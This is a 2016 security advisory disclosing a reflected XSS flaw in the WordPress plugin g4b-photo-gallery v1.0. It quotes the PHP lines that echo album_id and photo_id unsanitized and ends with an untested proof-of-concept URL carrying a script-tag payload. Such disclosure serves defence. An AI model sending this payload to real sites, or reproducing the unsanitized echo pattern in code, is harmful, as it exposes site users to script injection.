Advisory #: 579
Title: Reflected XSS in wordpress plugin g4b-photo-gallery v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/g4b-photo-gallery
Downloads: 14630
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: g4b-photo-gallery
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./g4b-photo-gallery/G4B_gallery_manage_photo.php: 18: <a href="edit-pages.php?page=G4B_gallery/G4B_gallery_manage_album.php&album_id=<?php echo $_GET['album_id'] ?>"> 26: <form method="post" action="edit-pages.php?page=G4B_gallery/G4B_gallery_manage_photo.php&album_id=<?php echo $_GET['album_id'] ?>&photo_id=<?php echo $_GET['photo_id'] ?>"> 29: <input type="hidden" name="photo_id" value="<?php echo $_GET['photo_id'] ?>" /> The variable album_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./g4b-photo-gallery/G4B_gallery_manage_photo.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/g4b-photo-gallery/G4B_gallery_manage_photo.php?album_id="><script>alert(1);</script><"